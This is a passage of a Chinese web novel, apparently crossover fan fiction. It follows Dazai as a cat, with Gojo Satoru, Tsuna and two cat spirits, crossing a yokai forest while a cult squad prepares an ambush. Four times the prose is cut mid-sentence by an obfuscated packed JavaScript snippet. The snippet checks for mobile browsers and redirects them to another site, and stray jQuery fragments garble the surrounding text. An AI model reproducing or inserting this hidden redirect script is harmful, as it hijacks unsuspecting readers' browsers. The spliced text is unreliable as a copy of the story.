“我是会啦……不对,”左耳猫突然扭过头去,刻意不去看走在旁边的黑猫,唯一正常的那只猫耳朵也机警地竖了起来。 同时他往斜侧方走远了一点,拉开同黑猫之间的距离,负气地道:“我们在半个小时前就绝交了,自那之后的一个小时内我都不会跟你说话的!” “欸——,我怎么不知道我们绝交了这件事?”太宰猫歪着头说道,虽然他连他们什么时候成了朋友都不知道。 “你干了什么你不记得了吗?”虎斑猫的声音听起来更生气了,他悄悄回头,偷偷瞪了一眼黑猫,“我要和你绝交一个小时。” 太宰:“……” 绝交什么的,小孩子吗?难道接下来要和他玩小孩子过家家的游戏吗? 还是不要了吧! 黑猫的眼底隐隐流露出一抹嫌弃,他转了转圆溜溜的鸢色大眼睛,突然微微翘起嘴角,在虎斑猫看不到的地方露出一个坏笑。 下一刻,他收起笑容,慢慢闭起眼睛,身体晃了晃,有气无力地说着:“哎呀好累哦~”突然一头往草地上栽去。 栽在地上的他,四肢向两边摊开,下巴挨着草地,脑袋直直挺立,像一块摊开的猫饼一样。 “我走不动了,我要累死啦~”这么说着,他假装用力地往前拱了拱,拱到一半似乎没力气了一样顿住动作,趴在原地不动了。 这一番作态,由他做出来,那叫一个行云流水,惟妙惟肖,不含人性,栩栩如生,不似人类……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689916|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 偷瞄到了全部的左耳脚步一顿,急急忙忙地跑回来,用脑袋拱了拱躺在地上的黑猫,“太宰,你没事吧?” 显然,没怎么见过世面的虎斑猫轻易被他唬到了。 但黑猫也没讨到什么好,虎斑猫拱他时用的是正常力气,奈何黑猫体型小,身体轻,一下就被他拱得翻了个身,从俯趴变成了仰趴,如果再来几下,说不定他就要从一只黑猫变成一个黑猫球球,被一路推走了。 不知道第多少次烦恼自己为什么会变成一只小黑猫的太宰再次忍了,继续专注自己的剧本:“我需要一个坐骑……” 他睁着一双死鱼眼,尸体一般平躺着一动不动,两只爪子上下交叠在腹部,唯独嘴唇部位能看到轻微的开合动作,幽幽呜呜的声音从那里飘了出来:“一个大大的,全身拥有柔软毛皮,像老虎一样……” “早说嘛,”一道越来越近的声音打断了他,同时,从上方伸过来一只手,在太宰没来得及反应过来之前,以一种似乎做过千百次的速度从地上捞起了他,把他夹在臂弯里,“我可以带着你走啦~” 这熟悉的姿势,这熟悉的声音,太宰猫死死闭着眼睛,完全不敢睁眼看世界。 五条悟还在哔哔:“别害羞嘛,让我全程抱着你走都没问题哦~” 太宰:“……” ——可不可以请你去死一死啊?或者让我现在就去三途川报道!立刻!马上! 两者都做不到的太宰一头砸在箍住他的手臂上,两只猫耳朵向前弯曲,紧紧贴在头皮上,仿佛这样就能屏蔽掉上面传过来的声音。 至于捞到太宰的五条悟,那叫一个心满意足,可不管他是怎样想的呢,太宰的那点力道更是轻得还没有给他挠痒痒大,他没受到半点影响,自顾自地说着大跨步向前走。 剩下虎斑猫蹲在原地,还在思考太宰刚刚的话。 变大的他似乎最符合太宰的要求?要论像老虎,除了他还能有谁的毛皮能像老虎一样,族里没猫比得过他,就算是右耳,就算是右耳……哼哼,他最多和他平齐! 想到这里他振奋起来,激情喵了一声后加速跑起来,很快追上前方的五条悟。 对着他喵喵喵了几声后,左耳终于想起这个银白头发的人类听不懂猫咪的语言,于是特地变成人类形态,凑到五条悟面前,眨巴着眼睛道:“我可以变成老虎载太宰!” 被迫停下来的五条悟侧头去看左耳,连被他抱在怀里的黑猫也睁开了眼睛,同样侧过头去看他,然而一人一猫的视线均被左耳头上的猫耳朵和猫尾巴吸走,它们正在以同样的频率摇来摇去,很是显眼。 左耳忘记了要施术隐没这两样不该长在人类身上的东西。 刚想说点什么,五条悟突然神色一肃,转过头,一束犀利的视线自他眼中射向队伍左侧的区域。 那里长着密密麻麻的灌木丛,一丛一丛挤在一起,让人几乎分不清界限在哪里,连成了一片连绵不绝的绿色,放眼望去,几乎看不到尽头。 在那一人高的灌木丛林里,有细细簌簌的声音隐隐约约响起,声音古怪,不像是人类能发出的类型,距离似近又似远,让人确定不了声音的发源地。 33.心思莫测的宰 见此,左耳跟着他的视线侧过头,看了一眼后他习以为常地摆摆手,大大咧咧地说:“没事啦,这座灌木丛林是二目妖的领地,它喜欢发出这种声音,表示这里是它的地盘,同时也是一种对其他妖怪的警告。” “只要不走错路,走到他们的地盘里去,那就没事。毕竟如无意外,我们都会遵守共同的约定——不主动入侵别妖的领地。” 是吗?太宰猫抖了抖耳朵,那传过来的声音里在某一刻似乎夹杂了一点不和谐的杂音,那点杂音似乎是因为存在的时间只有一两秒钟,夹在其他声音里并不明显,至少左耳并没有提出异议。 若有所思地环视一圈,太宰猫在几分钟之后收回视线,因为主动给他充当载具的某人已经跟着前方的右耳离开了这片布满藤蔓的区域,进入下一片到处都长着花朵的地方。 那是花的海洋,五颜六色的花朵姹紫嫣红地怒放着,一眼几乎望不到尽头,还有无数花瓣随着风的方向飞舞在空中,这副景象,简直比画家脑海里能够想象的最美花海还要美丽。 但如果从高处往下看,他们正在行走的这条小道就像是一条横亘在花海里的裂缝,生生将一副美好的画像分割成不相干的两半。 左右两侧的花海里,一群群蜜蜂勤劳地飞来飞去,太宰猫从惊艳中回过神,微微眯起眼睛,不管怎么看,这群蜜蜂的体型都稍微大了点,都有两倍普通蜜蜂大了,特别是长在尾部的那根刺…… 好长。 “这是杀人蜂哦,看到长在它们尾部那根长长的刺了吗?那就是杀人蜂的标志,你们小心点,不要走出这条小路,也不要接近它们。”走在前头的右耳突然回头,“千百根尾刺齐射的场景,你们也不想看见吧。” “啊!”沢田纲吉突然惊呼了一声。 “纲吉?”五条悟拧起眉头,视线在纲吉周围来回扫荡,“你怎么了?” “没事。”沢田纲吉赶紧摆手示意他没问题,刚刚有一只杀人蜂几乎飞出了花田的范围,长长的尾针差点要戳到他的脸上,被他及时躲开了。 “这里也是妖怪的地盘吗?是什么妖怪?”他回过头冲着左耳问了一句,左耳对于古怪声音的解释,他也听到了,而且经过这段时间的洗礼,他已经没那么害怕妖怪了,反而被激发出了一种……可以说是古怪的好奇心。 “是百花妖的地盘哦,这群杀人蜂就是她养的。” “百花妖是什么样子?” “你最好不要好奇她的长相哦。”左耳回答的声音很及时,但他的眼睛并没有看向提问的人,而是时刻不离周围的花海。 “数量更多了。”半响后他皱起眉头,低声喃喃自语道。 而且,花海里的蜂群似乎在慢慢靠近,它们看起来有点……有点蠢蠢欲动的意思。 “我们快点走!”突然,从队伍最前头传来一道紧迫的喊声,右耳似乎也察觉到了这一点,说着话的同时加快了脚步。 领头人这么一动作,整个队伍也跟着加快了,山雨欲来的气氛让他们收起脸上轻松的表情,悬起了一颗心,五条悟甚至已经做好了打架的准备,但没想到的是,他们很是顺利地通过了给他们以爆表危机感的花田。 接下里的路程竟也很顺利,没遇到什么意外,他们安全地穿过了三个妖怪的地盘,抵达了目的地。 ——三颗橡树后面的‘门’。 “呼,就是这里了。”右耳呼出一口气,放心地抬起手,擦掉脸上留下来的汗珠。 虽然这一路上没遇到什么危险,但那古怪阴森的气氛实在令人发毛,他感觉自己就像是一只被粘在蜘蛛网里的蝴蝶,身体动弹不得,却切身地感受到了周围丝线传来的,越来越近的震颤。 明明他和左耳从这条路出去的时候不是这样的,真奇怪。 回过头,右耳望向映下他们这一行人脚印的小路,那种危险的氛围似乎消失了,那条路看起来很正常,周围的环境也很正常。 右耳慢慢移开视线,既然已经安安全全地过来了,那么他也就不打算探究刚刚的事情了。 幽光森林有很多不为人知的秘密,知道的越多,也许越危险。 他看向太宰猫,此时的黑猫已经从五条悟怀里出来了,正在四处溜达。 ——既然已经到达目的地,那么载具就没必要存在了。 黑猫毫不留情地舍弃了劳不苦功也不高的载具五条悟。 ——当然,如果没有五条悟本人的主动配合,他这个‘载具’还真不一定能舍弃掉。 四处溜达了一圈后,太宰猫在三颗橡树前停下脚步,以中间那颗树为中心,以旁边两颗树为直径,一边绕着圈子的走,一边仰头观察。 今天的天气稍显阴郁,头顶深青色的天空里,云层一层卷着一层,连绵成片,牢牢地挡住了太阳的身影,一点点微弱的阳光从树叶的间隙里逃出来,洒在黑猫身上,但即使是这薄薄的一层,也给他镀上了一层柔和的金边。 携着阳光留下的余温,太宰猫在树的正前方停下,片刻后抬起头,眺望了一眼几乎被树叶完全遮蔽的天空,视线渐渐往下。 按照情报贩子的描述,猫之一族研究出来的这个结界,并不是全无弱点,他们铺设的这个结界必然是有一个和外界有交集的点,这样才能以一点为中心,放出整个结界。 虽然肉眼看不见,但只要根据四周的方位以及地势,再加上他提供的情报来计算,大致上是可以得出这个点是在哪里的,然后就能针对性的打破结界了。 “太宰,跟我一起去收集用来烧火的木头,去不去?”不远处传来左耳兴奋满满的声音,一脱离刚刚那危险的氛围,他就把自己担惊受怕的情绪抛之脑后了。 太宰猫抖了抖耳朵,转了个身,一眼撇去,纲吉站在一块空地上,手里拿着一根管状的柱子,脚下堆了一堆材料,似乎在研究着怎么搭帐篷。毕竟明面上的说法是来这里野营,所以他们带上了在野外露营所必须的物件,装了好大一个背包。 载具不在纲吉身边,太宰猫迅速移动视线,在离他们大概三百米远的地方找到了人,五条悟一个人站在一块凸起的大石头上,背对着他们,抬着头,不知道在看什么。 他脚下那块不平整的石头位于他们所处地界和上一个妖怪的领地的分界线里。虽然名义上说是分界线,但那其实并不是一条直线,那是一块大概几百米的荒地,只自然生长着一把把的无名野草和一块块石头,没有被划分成任何妖怪的地盘,是两块领地之间的缓冲地带。 太宰猫眨了眨眼,视线转移到左耳身上,“不去哦,右耳去哪了?” 懒得走过去,也不想大声喊叫的他,干脆启动耳语,连接左耳的频道,就这么在和他隔着几十来米的地方打起了‘电话’。 “去收集食材了,附近有很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704226|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野果子呢,我们上次出来的时候吃过,不过大都有点酸。”左耳挠了挠后脑勺,虽然不理解为什么太宰要在这么近的距离和他打电话,但也在第一时间接受了他的通讯请求。 这一路过来,大概花了他们一个上午的时间,现在的时间已是将近12点,肚子空空急需食物补充,于是右耳主动请缨,跑去收集食材去了,附近的野果和蔬菜资源很丰富,小型野生动物比如兔子和野鸡也藏了不少。 而且,在这种森山老林里,他认为自己总比这帮人类更适应环境一点。 “真的不去吗?很好玩哦!”左耳殷勤地说道,盯着黑猫的眼睛亮晶晶,身后的猫尾巴一摇一摆,整个人都写满了迫切希望对方同意的意思。 但太宰一点都不为所动,甚至转了个身,用后背对着他,“自己去啦~”说完后就挂断了电话。 左耳失落地低下脑袋,猫耳朵和猫尾巴一起耷拉下来,片刻后他打起精神,照太宰的话自个儿去收集木头去了。 大概半个小时后,搭好了帐篷的纲吉拿着左耳收集回来的干木材,推成了一个篝火堆,在背包里掏出一个打火机,点燃了这堆木头。 白烟冉冉升起,火光渐渐变大,纲吉凑过去,在火上烤了烤手,今天没出太阳,森山老林的温度比外界低了好几度,运动的时候还不觉得怎么样,一坐下来,没一会儿他就感觉到了冷意的侵蚀。 左耳坐在他旁边,此时右耳也回来了,他的怀里抱着一捧花花绿绿的东西,一只手还抓着一只脚绑在一起的野鸡,走到左耳身边后,撒开手,一股脑地将所有东西包括翅膀受伤飞不起来的野鸡全堆在篝火旁边。 像是要正经露营似的。 黑猫早已爬到了中间那颗橡树上,现在正蹲在最高的一根树枝尖端,尖端的树枝相比根部细了不少,因为承载了生命不可承受之重,颤颤巍巍地似乎似要从中部裂开,却又始终没有断裂。 没管自己身处的是什么危险境地,黑猫专注地望着天空,视线到处游移,每隔半分钟停下片刻,最后在斜上方大概几十米的某个地方定住。 在脑内经过一番缜密的计算后,他已经得出了结界映在外界的唯一实体点,就是他所注视的那个角落,只要用他手里那把枪,往那里打上一枪,击中那个点,子弹所附带的破除能力就能打碎结界。 只要打碎结界,他就可以进入猫之境,进入猫之境,他就可以找到猫之千,找到猫之千,他就可以得到回去的线索。 这一切的一切,必须从他掏枪主动打碎结界开始。 黑猫垂下眼帘,暂时没有动作,一阵寒风吹过,吹得他身上的毛都往一边偏,爪下的树枝震动的幅度也猛地变得剧烈起来。 “很危险的哦~” 忽左忽右的晃动骤然停止,顶着还在吹拂的狂风,黑猫抬起头,眼前出现的是五条悟,他的脚下空无一物,就像上次一样突然出现在空中,出现在他眼前。 五条悟一只手抓着树枝另一端迫使它安静下来,另一只手伸到了他面前,“下来吧,纲吉他们已经做好了午餐。” 眨巴了一下鸢眼,太宰猫微微向上弯起嘴角,站起身,踏前一步,但没有踩到面前的手掌上,而是踩到了空气里,下一步,整个身体蓦地从五条悟眼前消失。 ——他跳下去了。 “欸?”五条悟一愣,望着自己空着的手,他几乎发起呆来。 34.闹别扭 在越来越凛冽的风声中,愣在那里的五条悟突然脸色一变,飞身往下,赶在自由落体的太宰猫摔成一滩猫饼之前抓住了他。 平稳落地后,五条悟看着手上抓着的黑猫,眉头拧起,踟蹰半响,声音极力保持平静地问道:“你是不小心掉下去的?” 他似乎察觉到了某种异样所在。 一身毛被风吹得乱七八糟,但也不掩美貌的黑猫顿了一下,摇了摇头。 五条悟的眉头顿时拧得更深,他想起了一个词——自杀。 现在想来,太宰的这种行为其实早有苗头,只是平时的他,行为上表现得很活泼,主观上也在很积极的追查一些事情,让他完全没有意识到这一点而已。 ——这样的太宰会笑会闹,会主动帮助他人,性格调皮捣蛋,整天活力十足,还会使小性子,更是很会记仇,明明哪里都不像是个会自杀的人。 但其实早在一开始,他就有表现出一点异样。 在河里捡到他的那次,那个时候的太宰应该是有能力自己浮起来的,但他没有,而是任由自己沉下去。 第二次是在遇到西索的时候,变成人形的太宰倒立着从高空掉下来,如果真的让他就这样摔到地板上,后果绝对很不妙。 第三次就是现在,他自己从高高的枝头跳了下去。 短短几天时间内,他就实践了三次。 同时,在他们第一次坦诚交流的时候,太宰也有表现出一点。 现在想来,面对他说出的死亡威胁,“欸,还有这种好事?”这句话并不只是因为太宰看出了他在虚张声势,多少也表现出了一点他对死亡的态度。 风还在飕飕地吹,像是厉鬼在哭嚎,五条悟看向黑猫,黑猫的脸上毫无表情,眼睛半垂着,一动不动的盯着地面。 他使坏的时候,是一种古灵精怪的样子,即使是一张猫脸,也能看出背后是个活泼的灵魂,但现在,五条悟看不出他是什么样子,看不出他在想什么,也看不出他在回答他那个问题时到底抱着什么样的感情。 这一刻,五条悟极度希望太宰变成人类的样子,让他看清楚,让他知道…… 他无意识地张开嘴:“你……” “五条老师?你和太宰愣在那里干嘛呢?” 是纲吉的声音,被意外打断的五条悟茫然地眨了眨眼,一切复杂的、狂乱的情绪自他的眼中如潮水般退去,只留下一片狼藉的沙滩,他错开视线,错开那差点要在太宰身上点起一把火的视线,朝纲吉的方向转过头去。 远处熊熊篝火明亮如星辰,飒飒风声亦不能灭。 火堆边,另外三个人都围在那里,纲吉在朝他招手,旁边猫之左和猫之右的脑袋靠得极近,不知道在说什么,但他们的脸上都有着统一的表情,那是毫无疑问的笑容,被火光映上了一抹漂亮的绯色。 他似乎隐约听到了木柴燃烧时,火星子爆裂开来的噼啪声。 五条悟出神地注视着,片刻后再次把目光投向太宰,却发现毛绒绒的头顶挡住了他望过去的视线,顿了一下后,他垂下眼,轻声说:“算了。” 想说的话有很多,但在现在这种情况下说出来实在不合时宜,况且,太宰和他有什么关系吗?交浅,又何必言深? 烦躁地抓了抓脑后的银白色发丝,五条悟撒开手,让黑猫落到地上。 “快过来吧。”勉强牵起嘴角,他说完后就朝着场中最明亮的地方走去,没再看太宰一眼。 黑猫望着他的背影,无声地跟了过去。 篝火上横着一根木棍,棍子上插了一根烤鸡,烤鸡表皮焦黄,正滋滋地往下滴油,香气扑鼻而来,旁边的草地上铺了一张四四方方的薄布,素色的布料上放着一堆三角形的野果,青色和红色交加,意趣满满。 左耳紧紧盯着木棍上的烤鸡,手上不停转动木棍,让火势均匀地扑到烤鸡上,忙得顾不上其他人。 这是他第一次在野外做饭,平时的话,都是在自己家里做,另外两个没有他那么丰富的经验,所以大厨的位置就当仁不让地交给他了。 处理野鸡的时候,左耳一开始还有点手忙脚乱,不过他很快就上手了,但因为火焰不好掌控,他全程都认真盯着烤鸡,生怕一不注意就被他烤焦了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710672|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 听到靠近的脚步声,左耳头也不抬地道:“熟了熟了,你们来得正好。” 但等把架子上的烤鸡取下来,他都没听到任何回答。 诧异地抬起头,左耳猛不丁打了个哆嗦,在他的眼里,打了他一顿的五条悟本来就很可怕,现在面无表情地坐在那里,浑身散发着拒人于千里之外的气场,似乎心情很不好的样子,更是比起平时来还要让人害怕。 太宰也不遑多让,黑猫今天也不像平时一样总是端着一张笑脸,垂下眼睑,抿着嘴唇的样子一看就在不高兴,似乎身上每一根毛都在对外诉说着生人勿近。 两个人坐得远远的,五条悟坐在纲吉身边,黑猫则坐到了离他最远的另一头,谁也不看谁。 现在的座位是这样的,沿着顺时针方向,由五条悟开始,旁边是沢田纲吉,然后是猫之左,猫之右,最后是太宰治,他们坐满了半个圈差不多180度。 也就是说,五条悟和太宰之间隔着火堆,分别坐在对方的正对面。 左耳小心翼翼地旋摸了一圈,将上半身靠向右耳,在他的耳边小声说道:“他们俩是在闹别扭吗?” “明显是这样吧。”右耳同样低声回道。 沢田纲吉嘴角抽了抽,即使你们两个这样放低声音说话,我们也还是能听见的啊,我们之间又不是隔了八百米远。 他额头冷汗直冒,左瞟一眼,右瞟一眼,然后就像被刺到了一样猛地收回视线,在心里苦笑,只想对着苍天发问:你们又怎么了啊?!! 夹杂在两个冰山之间,对于他这种直觉敏锐的人来说,实在是一种折磨。 接下来的气氛始终不冷不热,叫人不上不下,一顿饭吃得简直叫人要得胃溃疡。 所以当右耳通过耳语接到别猫打来的电话时,立刻端起了火烧眉毛的态度,几乎是以亡命奔逃的速度跑了出去也很正常吧。 能够找到借口离开这里,他是松了一口气,被留下的左耳可是羡慕得要死,一直眼巴巴地望着他,望穿秋水了都要。 本来谁也不看的太宰猫,突然朝右耳的方向转过了头。 35.埋伏 大概十几分钟之前,千米之外的灰色悬崖顶上,一个烟灰色短发的青年正站在这里,他的耳朵上戴着一个灰色的无线耳麦,因为和头发的颜色一致,乍一看还发现不了,脸上则戴了一个类似战术眼镜一样的机械装置,左边那块浅蓝色的玻璃镜片上,侧边时不时跳动着一些数据。 他将手搭上额头,朝前方眺望了一眼,“真是壮观呐。” 前方是一片由森林组成的海洋,如果让常人用肉眼看,必然只会觉得这片森林很正常,但在他的眼里,森林里的那条分界线地带可藏着不少人,只不过他们使用了一种特殊技术,让自己在不知情的外人眼里隐身了而已。 按下玻璃镜片底下一个小型按钮,他的眼前立刻展开了一个长方形的虚拟屏幕,虚拟屏幕泛着浅蓝色的荧光,尺寸大概和一般笔记本电脑屏幕差不多大,屏幕上面,五条悟他们一行人的身影清晰可见。 手指在虚拟屏幕上划动,画面也随之移动,他很快找到了独自一只猫呆在高高的橡树顶上的太宰,盯着画面研究了好一会儿,他挑了挑眉,抬手打开耳麦的通话开关,“喂枯藤分队长?” 几声细微的刺啦声后,耳麦那头传来一道听起来很是暴躁的声音:“到底是谁这么没有礼貌地擅自联系我?不是告诉过你们,在行动之前全频道都务必保持静默吗?” “预言有提示我们该在什么时候行动吗?我看那只猫可是悠闲得很啊~” 青年在虚拟屏幕上左划拉一下,右划拉一下,画面随之变换个不停,他那双盯着屏幕的烟灰色眼眸微眯着,眼底没有半点情绪,和他说出口的轻松语气相比,很是违和。 “原来是月见你这家伙啊,你在哪里?怎么还没过来和我们会和?”说完后耳麦那头又抱怨了一句,“现在的新人真是无组织无纪律,还一点都不懂得尊重前辈。” 听闻此言,月见想也没想,随口说道:“这里的路太复杂,我迷路了。” 不断变换的画面骤然停止,月见收回手,此时,虚拟屏幕上的画面已经变成了他那位分队长的特写。 正是昨晚和他对话的那个中年男人,此人在组织里的代号为枯藤,是此次行动的分队长,统率一个小分队。 这次要来执行任务的其实是一整个小队五十余人,原本的预定计划也不在今天,但因为某个原因,枯藤想更改原定的作战计划,于是便积极地说服了行动队长,得以让他带着一个小分队提前出发。 要说枯藤这人嘛……他长得比较抱歉,本来长相就不尽如人意了,他的脸上还有一道夺人眼球的伤疤,从左边眉骨一直划到右边嘴角,横贯了整张脸。 一生起气来,他脸上那道伤疤便像虫子一样蠕动,因此此刻的表情实在称不上不好看,被放大后更是难看中的难看,但月见却是看得津津有味。 “你……”画面里的枯藤忍不住张开嘴,却在第一时间被打断:“枯藤分队长,我只是个文弱的情报人员啊,打打杀杀什么的实在不适合我,像这次这种行动真的不必叫上我,不过既然分队长你一定要让我过来参加,那就没办法了。” “我这也不是乖乖听你的话过来了嘛,只是晚了那么一丁点,枯藤分队长你再生气就不好啦~” “还是说回预言的事情吧,我对这个很感兴趣,队长你给我讲讲呗,就当是替不懂事的新人解释一下喽,说不定不懂事的新人君一下子就被咱那美妙的神迹感化了,就地变成神明的忠实信徒,从此以后天天信奉咱伟大的神明哦。” 月见满嘴跑马车地一顿输出,竟然真的叫枯藤停下了到嘴边的斥责。 看着屏幕上中年男人犹疑的表情,烟灰色头发的青年无声地弯起嘴角——你不会让我失望吧? “预言告诉我,这只黑猫拥有打破结界的能力。”枯藤虔诚地合起双掌,然后对着天空做了一套古怪的动作。 月见是第二次看见他做这套动作,之前那一次还是他们两个第一次见面时做的,一般来说,这代表着这位狂信徒正在对着自己那位只存在于他口头里的神明祈祷。 一丝不苟地做完一整套动作后,枯藤面色狂热地看向在他不远处溜达的黑猫,“只要利用它,我们就能用最小的代价获得最大的利益。” 刚刚太宰和左耳分别后,不知不觉间竟然走到了他们所在藏身地的附近,现在不用借助其他道具,光用肉眼也能清晰地看见他了,只是他还是听不太清楚他在说什么。 结界不仅屏蔽了他们一行人的身影,连视线和声音也都能挡在里面,外界无法感知到。 这是个值得称赞的优点,但这道结界也有缺点,缺点就是一旦设立,结界就只能设置在一个地方,无法随着他们移动而移动,毕竟这个特殊结界还是靠研究猫之境的结界得来的,是个名副其实的山寨货。 不过,只要借助结界的屏蔽能力,他就不用担心自己过于热切的目光和说话声惊动到目标,实在是一举两得。 想着,枯藤不由得脱口而出:“伟大的神明是何其慷慨啊,在那个最坏结果是两败俱伤的计划进行之前提前给我们准备了一条通往胜利的捷径。” “我们应礼赞神明……” 以下省略三百条车轱辘的赞美话。 一说起有关礼赞神明的话来,枯藤就滔滔不绝,外人根本插不进嘴。 等他好不容易停下来缓口气的时候,月见才见缝插针地说道:“说起来,为什么你知道这么多?咱伟大的神明应该只告诉过你一句话,但你竟然能精确地知道那份情报该卖给哪个账号,还提前做好了所有布置。” 却见屏幕上的枯藤皱了皱眉,冷冷地说道:“我们的情报网络是绝非你能想象出的强大,既然是一介新人,那就先做好自己的本分。” 应该是有内应吧,还是地位比较高的内应,月见根本不受他的影响,在心里想着,当然,在明面上,他还是用尊敬的语气好好恭维了一番枯藤队长,直到把他哄得眉开眼笑为止。 一不生气,枯藤却想起了别的事情,“月见你现在到哪里了?要不要我派人去接你?” “不用麻烦了枯藤分队长,我已经快要看见你们了,”月见瞟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715599|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏幕上的人说,“再说了,为了我这么一介小小新人派人过来,要是哪里出了纰漏,坏了枯藤分队长您的大事可不好。” 说是这么说,实际上他仍然待在悬崖顶,根本没有要离开这里的动作,甚至往前挥出一掌,扫干净悬崖尖所有碎石,坐了下来。 碎石受他的动作影响,从高高的悬崖摔了下去,大概半分钟过去后,都没听见有声音传出来。 在悬崖尖坐下的他,两条长腿伸到了悬崖外边,眼睛则始终盯着虚拟屏幕上的画面,一副浑然无惧的模样。 “那你快点过来,过来时记得隐藏身形,不要被那些人发现。” “好的,枯藤分队长。” 才乖乖应承了一句,月见却再次开启上一个话题:“所以我们现在就是在等待着黑猫打破结界的时刻?谁知道它会在什么时候做这种事啊?我们就这样干等着?” “今天内就会有结果的,今天以内……”画面上的枯藤望向前方的黑猫,身体竟然微微颤抖起来,他的眸子睁得极大,狂热和兴奋交织在里面,变作混沌漆黑的一团,“马上,马上我就要再次见证……” “见证到神明的伟大!” * 独自离开的右耳快步走进森林,在原先摘果子的树下停下来,接通耳语,“千酱?” 他的声音里隐隐带着一点兴奋,身后隐形的猫尾巴也摇来摇去。 耳语另一边传过来的正是猫之千的声音,听起来却是气急败坏得很:“右耳,你和左耳在搞什么鬼喵?” “没搞什么啊?”对他的话,右耳有点摸不着头脑,但他没纠结这一点,“千酱,你赶紧让人把门口打开吧,我们被堵在外面,回不了家了。” “你这通电话来得正好,‘门’被关上之后,我们在外面用耳语时,竟然联系不到猫之境内,只能由境里的猫主动打开信号扩散器,我们才能联系上,说起来,千酱你应该也是这样联系上我的吧,耳语在这一方面还是需要多多改进……” “停停停!你的废话怎么还是这么多?”另一头的声音粗暴地打断了他,“你们俩在外面呆上几天又死不了喵,门我是绝对不可能开的喵!” “等等,门原来是被千酱你关上的吗?”右耳的语气极为惊讶,“为什么啊?” “有很复杂的原因,右耳你别管啦,你先回答我的问题,太宰治那个家伙为什么会跟你们在一起,还出现在这里喵?” “太宰他……” “哎呀这个问题,你不如来问我?”另一道他们俩都熟悉的声音突然插了进来。 蓦地,耳语两边一齐安静了下来。 右耳向着声音传来的方向抬起头,一只熟悉的黑猫出现在他头顶的树枝上,不知道是不是这神出鬼没的出场方式让他吓到神智混乱了,那张猫脸上明明挂着的是微笑,硬是让他看出来一股寒冰般的冷意。 “猫之千,我可是找了你很久啊,你不觉得……”太宰的语调一开始还保持着平静,却在一顿之后急转直下,变得阴森森的:“你应该给我一个交代吗?” 36.惊天一枪 耳语这一头几乎连呼吸声都听不见,仿佛与之通话的人已经不在了。 “没话说了吗?”太宰接下来说出的话,语气极尽挑衅,“你该不会是想挂断耳语吧,蠢~白~?” 这话一出,尴尬的安静顿时被打破,一个暴跳如雷的声音代替了它:“太宰你这个混蛋别那么叫我!” “果然玲小姐说的没错,”右耳在心里点了点头,“千酱,太宰一个猫被你丢在人类世界里,很可怜的,所以他有点生你的气也是可以理解的吧,你怎么还骂他混蛋呢?” 他的声音里满是不赞同。 另一头的猫之千皱起眉毛,尾巴无意识地伸过来挠了挠下巴,右耳这话说得好像没错,但他怎么总觉得哪里有点奇怪呢? 不管了,布偶猫张开嘴,不客气地道:“右耳,你别插嘴,这是我们两个之间的事情。” 说完后,他强行掐掉了和右耳的通讯频道,联络频道里只剩下他和太宰两个。 太宰提前从左耳那里知道了猫之千绑定在耳语里的号码,之前曾让左耳试着拨过几次,始终打不通,刚刚他注意到右耳的行动,悄悄跟了上来,听到是在和猫之千联系后,他便强行加入了他们的对话频道。 左耳给他设置的是幼崽专用号码,有着无需经过主人同意便可以强行接通任何成年猫的特殊权力。 猫之千已经成年了,所以在放开里外的屏蔽限制后,太宰才能及时插入他们两个的对话频道。 听到一声滴——的响声后,右耳不可置信地抖了抖耳朵,耳语里什么声音都没有了,他再三试着拨打猫之千的号码,那边传来的却尽是忙音。 不高兴地耷拉下一张脸,右耳望向头顶太宰猫所在的地方,却发现那里什么都没有,黑猫似乎在他不死心地拨打电话的时候已经悄悄溜走了。 仿佛膝上又中了一箭的右耳:“……” 你们两个,到底要背着我说什么我不能听的悄悄话? 另外一边,太宰猫特意找了个僻静的,没有外人在的地方开口:“即使你不主动开门,既然我到了这里,我就自有办法强行打破你们用来封闭门口的结界,只是……” 顿了一下,他没再往下说,而是换了一个话题:“所以你最好现在就给我一个交代哦~” “说吧,你为什么要特·意把我带到这个世界里来?”他在特意这个词上加重了音量。 